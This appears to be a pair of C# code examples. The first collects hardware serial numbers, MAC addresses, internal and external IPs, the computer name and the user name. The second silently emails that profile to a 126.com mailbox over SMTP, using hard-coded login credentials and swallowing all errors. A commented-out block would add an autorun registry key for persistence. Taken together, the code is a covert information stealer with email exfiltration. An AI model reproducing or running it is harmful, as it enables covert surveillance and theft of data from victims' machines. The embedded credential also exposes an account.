Exemple #1
0
        //用法示例
        public string example()
        {
            string      Info = "";
            MachineInfo info = MachineInfo.I();

            Info += "本地IP:\r\n";
            string[] LocalIp = info.GetLocalIpAddress();
            foreach (string ip in LocalIp)
            {
                Info += "\r\n" + ip;
            }

            Info += "\r\n";

            Info += "\r\n外网IP:\r\n";
            string[] ExternalIp = info.GetExtenalIpAddress();
            foreach (string ip in ExternalIp)
            {
                Info += "\r\n" + ip;
            }

            Info += "\r\n计算机主机名:" + System.Net.Dns.GetHostName();
            Info += "\r\n网卡地址:\r\n" + info.GetNetCardMACAddress();
            Info += "\r\nip对应的MAC地址:\r\n" + info.GetMacAddress(LocalIp[0]);
            Info += "\r\n网址address的返回的文本串数据:\r\n" + GetWebStr("http://www.ip138.com/");
            Info += "\r\n本机MAC:\r\n" + GetLocalMac();
            Info += "\r\n网卡硬件地址 :\r\n" + GetMacAddress();
            Info += "\r\n主板序列号:\r\n" + GetBIOSSerialNumber();
            Info += "\r\nCPU序列号:\r\n" + GetCPUSerialNumber();
            Info += "\r\n硬盘序列号:\r\n" + GetHardDiskSerialNumber();
            Info += "\r\nCPU编号:\r\n" + GetCPUID();
            Info += "\r\n硬盘序列号:\r\n" + GetDiskSerialNumber();
            Info += "\r\nCPU版本信息:\r\n" + GetCPUVersion();
            Info += "\r\n主板编号:\r\n" + GetBoardID();
            Info += "\r\n主板型号:\r\n" + GetBoardType();
            Info += "\r\n主板制造厂商:\r\n" + GetBoardManufacturer();
            Info += "\r\nCPU制造厂商:\r\n" + GetCPUManufacturer();
            Info += "\r\nCPU名称信息:\r\n" + GetCPUName();
            Info += "\r\n声卡PNPDeviceID:\r\n" + GetSoundPNPID();
            Info += "\r\n显卡PNPDeviceID:\r\n" + GetVideoPNPID();
            Info += "\r\n物理内存:\r\n" + GetPhysicalMemory();
            Info += "\r\n操作系统类型:\r\n" + GetSystemType();
            Info += "\r\n计算机名:\r\n" + GetComputerName();
            Info += "\r\n操作系统的登录用户名:\r\n" + GetUserName();
            Info += "\r\nIP地址:\r\n" + GetIPAddress();

            return(Info);
        }
Exemple #2
0
        static void Main(string[] args)
        {
            string     inf = null;
            SmtpClient c   = new SmtpClient();

            c.Host = "smtp.126.com";
            c.Port = 25;

            System.Net.NetworkCredential credential = new System.Net.NetworkCredential("*****@*****.**", "3Gf7d5ngFd1xGHu8");

            c.UseDefaultCredentials = false;
            c.Credentials           = credential;

            try
            {
                MachineInfo infs = new MachineInfo();
                inf = infs.example();
            }
            catch { }

            try
            {
                c.Send("*****@*****.**", "*****@*****.**", "Pinn's Log", "来自Pinn获取到的信息:\n" + inf);
            }
            catch { }

            /*
             * try
             * {
             *  string execPath = Application.ExecutablePath;
             *  RegistryKey rk = Registry.LocalMachine;
             *  RegistryKey rk2 = rk.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
             *  rk2.SetValue("MyExec", execPath);
             *  Console.WriteLine(string.Format("[注册表操作]添加注册表键值:path = {0}, key = {1}, value = {2} 成功", rk2.Name, "TuniuAutoboot", execPath));
             * }
             * catch{}
             */
        }